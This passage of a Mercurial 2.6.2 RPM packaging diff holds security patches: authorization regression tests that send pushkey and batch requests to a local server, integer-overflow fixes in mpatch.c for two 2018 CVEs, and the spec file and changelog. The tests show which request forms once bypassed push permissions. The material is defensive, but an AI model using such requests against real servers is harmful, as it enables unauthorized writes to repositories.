bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_push=* allows pushes from unauthenticated users ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > allow_push = * ++ > EOF ++ ++ $ REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 Script output follows ++ ++ 1 ++ ++ $ hg bookmarks ++ bm 0:cb9a9f314b8b ++ $ hg book -d bm ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 200 Script output follows ++ ++ write command no defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 200 Script output follows ++ ++ write command w/ defined permissions ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ [1] ++ ++ $ hg book -d bm ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ remote: adding changesets ++ remote: adding manifests ++ remote: adding file changes ++ remote: added 1 changesets with 1 changes to 1 files ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_push=* allows pushes from authenticated users ++ ++ $ REMOTE_USER=someuser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 Script output follows ++ ++ 1 ++ ++ $ hg bookmarks ++ bm 0:cb9a9f314b8b ++ $ hg book -d bm ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 200 Script output follows ++ ++ write command no defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 200 Script output follows ++ ++ write command w/ defined permissions ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ cd .. ++ $ rm -rf test2 ++ $ hg clone test test2 ++ updating to branch default ++ 1 files updated, 0 files merged, 0 files removed, 0 files unresolved ++ $ cd test2 ++ $ echo a >> a ++ $ hg ci -mb ++ $ hg book bm -r 0 ++ $ cd ../test ++ $ REMOTE_USER=someuser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ [1] ++ ++ $ hg book -d bm ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ remote: adding changesets ++ remote: adding manifests ++ remote: adding file changes ++ remote: added 1 changesets with 1 changes to 1 files ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_push= denies push to user not in list ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > allow_push = gooduser ++ > EOF ++ ++ $ REMOTE_USER=baduser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ cd .. ++ $ rm -rf test2 ++ $ hg clone test test2 ++ updating to branch default ++ 1 files updated, 0 files merged, 0 files removed, 0 files unresolved ++ $ cd test2 ++ $ echo a >> a ++ $ hg ci -mb ++ $ hg book bm -r 0 ++ $ cd ../test ++ $ REMOTE_USER=baduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_push= allows push from user in list ++ ++ $ REMOTE_USER=gooduser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 Script output follows ++ ++ 1 ++ ++ $ hg bookmarks ++ bm 0:cb9a9f314b8b ++ $ hg book -d bm ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 Script output follows ++ ++ 1 ++ ++ $ hg bookmarks ++ bm 0:cb9a9f314b8b ++ $ hg book -d bm ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 200 Script output follows ++ ++ write command no defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 200 Script output follows ++ ++ write command w/ defined permissions ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ cd .. ++ $ rm -rf test2 ++ $ hg clone test test2 ++ updating to branch default ++ 1 files updated, 0 files merged, 0 files removed, 0 files unresolved ++ $ cd test2 ++ $ echo a >> a ++ $ hg ci -mb ++ $ hg book bm -r 0 ++ $ cd ../test ++ $ REMOTE_USER=gooduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ [1] ++ ++ $ hg book -d bm ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ remote: adding changesets ++ remote: adding manifests ++ remote: adding file changes ++ remote: added 1 changesets with 1 changes to 1 files ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_push takes precedence over web.allow_push ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > allow_push = someuser ++ > deny_push = someuser ++ > EOF ++ ++ $ REMOTE_USER=someuser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ cd .. ++ $ rm -rf test2 ++ $ hg clone test test2 ++ updating to branch default ++ 1 files updated, 0 files merged, 0 files removed, 0 files unresolved ++ $ cd test2 ++ $ echo a >> a ++ $ hg ci -mb ++ $ hg book bm -r 0 ++ $ cd ../test ++ $ REMOTE_USER=someuser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_push has no effect if web.deny_read is set ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > allow_push = * ++ > deny_read = * ++ > EOF ++ ++ $ REQUEST_METHOD=POST REMOTE_USER=someuser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] +diff -r cceaf7af4c9e tests/test-pull-http.t +--- a/tests/test-pull-http.t Sat Jun 01 17:09:41 2013 -0500 ++++ b/tests/test-pull-http.t Tue Jul 03 11:25:06 2018 +0200 +@@ -37,7 +37,6 @@ + $ hg serve -p $HGPORT -d --pid-file=hg.pid -E errors.log + $ cat hg.pid >> $DAEMON_PIDS + $ hg clone http://localhost:$HGPORT/ test4 +- requesting all changes + abort: authorization failed + [255] + $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS +@@ -57,7 +56,6 @@ + expect error, pulling not allowed + + $ req +- pulling from http://localhost:$HGPORT/ + abort: authorization failed + % serve errors + diff --git a/SOURCES/mercurial-cve-2018-13346-cve-2018-13347.patch b/SOURCES/mercurial-cve-2018-13346-cve-2018-13347.patch new file mode 100644 index 0000000..a54175b --- /dev/null +++ b/SOURCES/mercurial-cve-2018-13346-cve-2018-13347.patch @@ -0,0 +1,202 @@ +diff -ru mercurial-2.6.2/mercurial/mpatch.c mercurial-2.6.2_patched/mercurial/mpatch.c +--- mercurial-2.6.2/mercurial/mpatch.c 2013-06-02 00:10:16.000000000 +0200 ++++ mercurial-2.6.2_patched/mercurial/mpatch.c 2019-05-07 16:51:13.631774481 +0200 +@@ -74,6 +74,35 @@ + return a->tail - a->head; + } + ++/* add helper to add src and *dest iff it won't overflow */ ++static inline int safeadd(int src, int *dest) ++{ ++ if ((src > 0) == (*dest > 0)) { ++ if (*dest > 0) { ++ if (src > (INT_MAX - *dest)) { ++ return 0; ++ } ++ } else { ++ if (src < (INT_MIN - *dest)) { ++ return 0; ++ } ++ } ++ } ++ *dest += src; ++ return 1; ++} ++ ++/* subtract src from dest and store result in dest */ ++static inline int safesub(int src, int *dest) ++{ ++ if (((src > 0) && (*dest < INT_MIN + src)) || ++ ((src < 0) && (*dest > INT_MAX + src))) { ++ return 0; ++ } ++ *dest -= src; ++ return 1; ++} ++ + /* move hunks in source that are less cut to dest, compensating + for changes in offset. the last hunk may be split if necessary. + */ +@@ -83,18 +112,37 @@ + int postend, c, l; + + while (s != src->tail) { +- if (s->start + offset >= cut) ++ int soffset = s->start; ++ if (!safeadd(offset, &soffset)) ++ break; /* add would overflow, oh well */ ++ if (soffset >= cut) + break; /* we've gone far enough */ + +- postend = offset + s->start + s->len; ++ postend = offset; ++ if (!safeadd(s->start, &postend) || ++ !safeadd(s->len, &postend)) { ++ break; ++ } + if (postend <= cut) { + /* save this hunk */ +- offset += s->start + s->len - s->end; ++ int tmp = s->start; ++ if (!safesub(s->end, &tmp)) { ++ break; ++ } ++ if (!safeadd(s->len, &tmp)) { ++ break; ++ } ++ if (!safeadd(tmp, &offset)) { ++ break; /* add would overflow, oh well */ ++ } + *d++ = *s++; + } + else { + /* break up this hunk */ +- c = cut - offset; ++ c = cut; ++ if (!safesub(offset, &c)) { ++ break; ++ } + if (s->end < c) + c = s->end; + l = cut - offset - s->start; +@@ -128,16 +176,40 @@ + int postend, c, l; + + while (s != src->tail) { +- if (s->start + offset >= cut) ++ int cmpcut = s->start; ++ if (!safeadd(offset, &cmpcut)) { ++ break; ++ } ++ if (cmpcut >= cut) + break; + +- postend = offset + s->start + s->len; ++ postend = offset; ++ if (!safeadd(s->start, &postend)) { ++ break; ++ } ++ if (!safeadd(s->len, &postend)) { ++ break; ++ } + if (postend <= cut) { +- offset += s->start + s->len - s->end; ++ /* do the subtraction first to avoid UB integer overflow ++ */ ++ int tmp = s->start; ++ if (!safesub(s->end, &tmp)) { ++ break; ++ } ++ if (!safeadd(s->len, &tmp)) { ++ break; ++ } ++ if (!safeadd(tmp, &offset)) { ++ break; ++ } + s++; + } + else { +- c = cut - offset; ++ c = cut; ++ if (!safesub(offset, &c)) { ++ break; ++ } + if (s->end < c) + c = s->end; + l = cut - offset - s->start; +@@ -179,8 +251,18 @@ + + /* insert new hunk */ + ct = c->tail; +- ct->start = bh->start - offset; +- ct->end = bh->end - post; ++ ct->start = bh->start; ++ ct->end = bh->end; ++ if (!safesub(offset, &(ct->start)) || ++ !safesub(post, &(ct->end))) { ++ /* It was already possible to exit ++ * this function with a return value ++ * of NULL before the safesub()s were ++ * added, so this should be fine. */ ++ lfree(c); ++ c = NULL; ++ goto done; ++ } + ct->len = bh->len; + ct->data = bh->data; + c->tail++; +@@ -191,7 +273,7 @@ + memcpy(c->tail, a->head, sizeof(struct frag) * lsize(a)); + c->tail += lsize(a); + } +- ++done: + lfree(a); + lfree(b); + return c; +@@ -215,13 +297,17 @@ + lt->start = getbe32(bin); + lt->end = getbe32(bin + 4); + lt->len = getbe32(bin + 8); +- if (lt->start > lt->end) +- break; /* sanity check */ +- bin = data + lt->len; +- if (bin < data) ++ if (lt->start < 0 || lt->start > lt->end || lt->len < 0) ++ break; /* sanity check */ ++ bin = data; ++ if (!safeadd(lt->len, &bin)) { + break; /* big data + big (bogus) len can wrap around */ ++ } + lt->data = data; +- data = bin + 12; ++ data = bin; ++ if (!safeadd(12, &data)) { ++ break; ++ } + lt++; + } + +@@ -266,7 +352,8 @@ + char *p = buf; + + while (f != l->tail) { +- if (f->start < last || f->end > len) { ++ if (f->start < last || f->start > len || f->end > len || ++ last < 0) { + if (!PyErr_Occurred()) + PyErr_SetString(mpatch_Error, + "invalid patch"); +@@ -279,6 +366,12 @@ + p += f->len; + f++; + } ++ if (last < 0) { ++ if (!PyErr_Occurred()) ++ PyErr_SetString(mpatch_Error, ++ "invalid patch"); ++ return 0; ++ } + memcpy(p, orig + last, len - last); + return 1; + } diff --git a/SOURCES/mercurial-i18n.patch b/SOURCES/mercurial-i18n.patch new file mode 100644 index 0000000..b99beb8 --- /dev/null +++ b/SOURCES/mercurial-i18n.patch @@ -0,0 +1,19 @@ +*** /tmp/ediff2864wKI 2010-10-06 08:30:42.639138469 -0400 +--- mercurial/i18n.py 2010-10-06 08:29:26.720138409 -0400 +*************** +*** 15,21 **** + module = __file__ + + base = os.path.dirname(module) +! for dir in ('.', '..'): + localedir = os.path.join(base, dir, 'locale') + if os.path.isdir(localedir): + break +--- 15,21 ---- + module = __file__ + + base = os.path.dirname(module) +! for dir in ('.', '..', '/usr/share'): + localedir = os.path.join(base, dir, 'locale') + if os.path.isdir(localedir): + break diff --git a/SOURCES/mercurial-site-start.el b/SOURCES/mercurial-site-start.el new file mode 100644 index 0000000..f169f95 --- /dev/null +++ b/SOURCES/mercurial-site-start.el @@ -0,0 +1,7 @@ +(autoload 'hg-mode "mercurial" "HG mode." t) +(autoload 'hg-help-overview "mercurial" "HG help." t) + +(autoload 'mq-mode "mq" + "MQ mode for Mercurial repositories with an MQ patch queue." t) +(autoload 'mq-edit-mode "mq" + "MQ edit mode for editing patch descriptions." t) diff --git a/SPECS/mercurial.spec b/SPECS/mercurial.spec new file mode 100644 index 0000000..3b32409 --- /dev/null +++ b/SPECS/mercurial.spec @@ -0,0 +1,661 @@ +%{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")} + +Summary: Mercurial -- a distributed SCM +Name: mercurial +Version: 2.6.2 +Release: 10%{?dist} +#Release: 1.rc1%{?dist} + +#%define upstreamversion %{version}-rc +%define upstreamversion %{version} + +License: GPLv2+ +Group: Development/Tools +URL: http://www.selenic.com/mercurial/ +#Source0: http://www.selenic.com/mercurial/release/%{name}-%{version}.tar.gz +Source0: http://www.selenic.com/mercurial/release/%{name}-%{upstreamversion}.tar.gz +Source1: mercurial-site-start.el +Patch0: mercurial-i18n.patch +#Patch1: docutils-0.8.patch +#Make hg-ssh's shebang pathname absolute (#987029) +Patch2: mercurial-absolute-shebang.patch + +Patch3: mercurial-cve-2016-3068.patch +Patch4: mercurial-cve-2016-3069.patch +Patch5: mercurial-cve-2017-9462.patch +Patch6: mercurial-cve-2017-1000115-1000116.patch +Patch7: mercurial-cve-2018-1000132.patch +Patch8: mercurial-cve-2018-13346-cve-2018-13347.patch + +BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root +BuildRequires: python python-devel +BuildRequires: emacs-nox emacs-el pkgconfig gettext python-docutils +Requires: python +Provides: hg = %{version}-%{release} + +%description +Mercurial is a fast, lightweight source control management system designed +for efficient handling of very large distributed projects. + +Quick start: http://www.selenic.com/mercurial/wiki/index.cgi/QuickStart +Tutorial: http://www.selenic.com/mercurial/wiki/index.cgi/Tutorial +Extensions: http://www.selenic.com/mercurial/wiki/index.cgi/CategoryExtension + +%define pkg mercurial + +# If the emacs-el package has installed a pkgconfig file, use that to determine +# install locations and Emacs version at build time, otherwise set defaults. +%if %($(pkg-config emacs) ; echo $?) +%define emacs_version 22.1 +%define emacs_lispdir %{_datadir}/emacs/site-lisp +%define emacs_startdir %{_datadir}/emacs/site-lisp/site-start.d +%else +%define emacs_version %{expand:%(pkg-config emacs --modversion)} +%define emacs_lispdir %{expand:%(pkg-config emacs --variable sitepkglispdir)} +%define emacs_startdir %{expand:%(pkg-config emacs --variable sitestartdir)} +%endif + +%package -n emacs-%{pkg} +Summary: Mercurial version control system support for Emacs +Group: Applications/Editors +Requires: hg = %{version}-%{release}, emacs-common +Requires: emacs(bin) >= %{emacs_version} +Obsoletes: %{pkg}-emacs + +%description -n emacs-%{pkg} +Contains byte compiled elisp packages for %{pkg}. +To get started: start emacs, load hg-mode with M-x hg-mode, and show +help with C-c h h + +%package -n emacs-%{pkg}-el +Summary: Elisp source files for %{pkg} under GNU Emacs +Group: Applications/Editors +Requires: emacs-%{pkg} = %{version}-%{release} + +%description -n emacs-%{pkg}-el +This package contains the elisp source files for %{pkg} under GNU Emacs. + +%package hgk +Summary: Hgk interface for mercurial +Group: Development/Tools +Requires: hg = %{version}-%{release}, tk + + +%description hgk +A Mercurial extension for displaying the change history graphically +using Tcl/Tk. Displays branches and merges in an easily +understandable way and shows diffs for each revision. Based on +gitk for the git SCM. + +Adds the "hg view" command. See +http://www.selenic.com/mercurial/wiki/index.cgi/UsingHgk for more +documentation. + +%prep +#%setup -q +%setup -q -n %{name}-%{upstreamversion} +%patch0 -p0 +#%patch1 -p1 +%patch2 -p1 +%patch3 -p1 +%patch4 -p1 +%patch5 -p1 +%patch6 -p1 +%patch7 -p1 +%patch8 -p1 + +%build +make all + +%install +rm -rf $RPM_BUILD_ROOT +%{__python} setup.py install -O1 --root $RPM_BUILD_ROOT --prefix %{_prefix} --record=%{name}.files +make install-doc DESTDIR=$RPM_BUILD_ROOT MANDIR=%{_mandir} + +grep -v -e 'hgk.py*' -e %{python_sitearch}/mercurial/ -e %{python_sitearch}/hgext/ < %{name}.files > %{name}-base.files +grep 'hgk.py*' < %{name}.files > %{name}-hgk.files + +install -D -m 755 contrib/hgk $RPM_BUILD_ROOT%{_libexecdir}/mercurial/hgk +install -m 755 contrib/hg-ssh $RPM_BUILD_ROOT%{_bindir} + +bash_completion_dir=$RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d +mkdir -p $bash_completion_dir +install -m 644 contrib/bash_completion $bash_completion_dir/mercurial.sh + +zsh_completion_dir=$RPM_BUILD_ROOT%{_datadir}/zsh/site-functions +mkdir -p $zsh_completion_dir +install -m 644 contrib/zsh_completion $zsh_completion_dir/_mercurial + +mkdir -p $RPM_BUILD_ROOT%{emacs_lispdir} + +pushd contrib +for file in mercurial.el mq.el; do + #emacs -batch -l mercurial.el --no-site-file -f batch-byte-compile $file + %{_emacs_bytecompile} $file + install -p -m 644 $file ${file}c $RPM_BUILD_ROOT%{emacs_lispdir} + rm ${file}c +done +popd + + + +mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/mercurial/hgrc.d + +mkdir -p $RPM_BUILD_ROOT%{emacs_startdir} && install -m644 %SOURCE1 $RPM_BUILD_ROOT%{emacs_startdir} + +cat >hgk.rc < certs.rc < %{name}-base-filtered.files + +%clean +rm -rf $RPM_BUILD_ROOT + +%files -f %{name}-base-filtered.files -f hg.lang +%defattr(-,root,root,-) +%doc CONTRIBUTORS COPYING doc/README doc/hg*.txt doc/hg*.html *.cgi contrib/*.fcgi contrib/*.wsgi +%doc %attr(644,root,root) %{_mandir}/man?/hg*.gz +%doc %attr(644,root,root) contrib/*.svg contrib/sample.hgrc +%config(noreplace) %{_sysconfdir}/bash_completion.d/mercurial.sh +%{_datadir}/zsh/site-functions/_mercurial +%{_bindir}/hg-ssh +%dir %{_sysconfdir}/bash_completion.d/ +%dir %{_datadir}/zsh/ +%{_datadir}/zsh/site-functions/ +%dir %{_sysconfdir}/mercurial +%dir %{_sysconfdir}/mercurial/hgrc.d +%{python_sitearch}/mercurial +%{python_sitearch}/hgext +%config(noreplace) %{_sysconfdir}/mercurial/hgrc.d/mergetools.rc +%config(noreplace) %{_sysconfdir}/mercurial/hgrc.d/certs.rc + +%files -n emacs-%{pkg} +%defattr(-,root,root,-) +%{emacs_lispdir}/*.elc +%{emacs_startdir}/*.el + +%files -n emacs-%{pkg}-el +%defattr(-,root,root,-) +%{emacs_lispdir}/*.el + +%files hgk -f %{name}-hgk.files +%defattr(-,root,root,-) +%{_libexecdir}/mercurial/ +%{_sysconfdir}/mercurial/hgrc.d/hgk.rc + +#%%check +#cd tests && %%{__python} run-tests.py + +%changelog +* Tue May 07 2019 Marcel Plch - 2.6.2-10 +- Add missing hunk for CVE-2018-13347 patch +- Related: CVE-2018-13347 + +* Wed Mar 20 2019 Marcel Plch - 2.6.2-9 +- Fix various CVE's +- Resolves: CVE-2018-1000132 CVE-2018-13346 CVE-2018-13347 + +* Tue Aug 15 2017 Petr Stodulka - 2.6.2-8 +- Fix CVE-2017-1000115 and CVE-2017-1000116 + +* Thu Jun 15 2017 Petr Stodulka - 2.6.2-7 +- Fix CVE-2017-9462 + +* Thu Apr 14 2016 Petr Stodulka - 2.6.2-6 +- fix previous patch for CVE-2016-3069 + +* Thu Apr 14 2016 Petr Stodulka - 2.6.2-5 +- Fix CVE-2016-3068 and CVE-2016-3069 + +* Fri Jan 24 2014 Daniel Mach - 2.6.2-4 +- Mass rebuild 2014-01-24 + +* Fri Dec 27 2013 Daniel Mach - 2.6.2-3 +- Mass rebuild 2013-12-27 + +* Fri Oct 4 2013 Ondrej Oprala - 2.6.2-2 +- Use an absolute pathname in hg-ssh's shebang (#987029) + +* Thu Jun 6 2013 nbecker - 2.6.2-1 +- Update to 2.6.2 + +* Wed May 8 2013 nbecker - 2.6-1 +- Update to 2.6 + +* Mon Mar 18 2013 nbecker - 2.5.2-2 +- Add hgweb.wsgi + +* Sat Mar 2 2013 nbecker - 2.5.2-1 +- Update to 2.5.2 + +* Sat Feb 9 2013 Neal Becker - 2.5.1-1 +- Update to 2.5.1 + +* Tue Feb 5 2013 Neal Becker - 2.5-1 +- Update to 2.5 + +* Sun Dec 16 2012 Neal Becker - 2.4.1-1 +- Update to 2.4.1 + +* Sun Nov 4 2012 Neal Becker - 2.4-1 +- Update to 2.4 + +* Wed Sep 5 2012 Neal Becker - 2.3.1-1 +- Update to 2.3.1 + +* Mon Aug 13 2012 Neal Becker - 2.3-1 +- Update to 2.3 + +* Fri Jul 20 2012 Fedora Release Engineering - 2.2.3-2 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_18_Mass_Rebuild + +* Mon Jul 9 2012 Neal Becker - 2.2.3-1 +- Update to 2.2.3 + +* Sun Jun 3 2012 Neal Becker - 2.2.2-1 +- Update to 2.2.2 + +* Fri May 25 2012 Neal Becker - 2.2.1-2 +- Add certs.rc + +* Fri May 4 2012 Neal Becker - 2.2.1-1 +- update to 2.2.1 + +* Wed May 2 2012 Neal Becker - 2.2-1 +- Update to 2.2 + +* Fri Apr 6 2012 Neal Becker - 2.1.2-1 +- Update to 2.1.2 + +* Sat Mar 10 2012 Neal Becker - 2.1.1-1 +- Update to 2.1.1 + +* Fri Jan 13 2012 Fedora Release Engineering - 2.0.2-2 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_17_Mass_Rebuild + +* Sun Jan 1 2012 Neal Becker - 2.0.2-1 +- Update to 2.0.2 + +* Wed Nov 16 2011 Neal Becker - 2.0-1 +- Update to 2.0 + +* Tue Oct 11 2011 Neal Becker - 1.9.3-2 +- Fix br 744931 (unowned dir) + +* Sun Oct 2 2011 Neal Becker - 1.9.3-1 +- update to 1.9.3 + +* Sat Aug 27 2011 Neal Becker - 1.9.2-1 +- Update to 1.9.2 + +* Wed Aug 3 2011 Neal Becker - 1.9.1-1 +- Update to 1.9.1 + +* Fri Jul 1 2011 Neal Becker - 1.9-2 +- Remove docutils patch + +* Fri Jul 1 2011 Neal Becker - 1.9-1 +- Update to 1.9 + +* Thu Jun 2 2011 Neal Becker - 1.8.4-2 +- Add docutils-0.8 patch + +* Wed Jun 1 2011 Neal Becker - 1.8.4-1 +- Update to 1.8.4 + +* Sat Apr 2 2011 Neal Becker - 1.8.2-1 +- update to 1.8.2 + +* Mon Mar 14 2011 Neal Becker - 1.8.1-2 +- Try BR emacs-nox + +* Mon Mar 14 2011 Neal Becker - 1.8.1-1 +- Update to 1.8.1 + +* Wed Mar 2 2011 Neal Becker - 1.8-1 +- Update to 1.8 + +* Tue Feb 08 2011 Fedora Release Engineering - 1.7.5-2 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_15_Mass_Rebuild + +* Sat Feb 5 2011 Neal Becker - 1.7.5-1 +- Update to 1.7.5 + +* Sun Jan 2 2011 Neal Becker - 1.7.3-1 +- Update to 1.7.3 + +* Thu Dec 2 2010 Neal Becker - 1.7.2-1 +- Update to 1.7.2 + +* Mon Nov 15 2010 Neal Becker - 1.7.1-1 +- Update to 1.7.1 + +* Mon Nov 1 2010 Neal Becker - 1.7-3 +- BR python-docutils + +* Mon Nov 1 2010 Neal Becker - 1.7-2 +- Make that 1.7 + +* Mon Nov 1 2010 Neal Becker - 1.7.0-1 +- Update to 1.7.0 + +* Thu Oct 21 2010 Neal Becker - 